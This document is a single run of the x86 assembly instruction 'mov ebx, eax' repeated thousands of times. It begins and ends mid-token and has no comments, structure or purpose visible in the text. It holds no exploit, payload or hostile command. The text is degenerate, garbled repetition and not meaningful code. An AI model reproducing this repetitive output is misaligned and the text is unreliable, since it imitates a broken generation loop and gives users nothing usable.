eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov ebx, eax mov 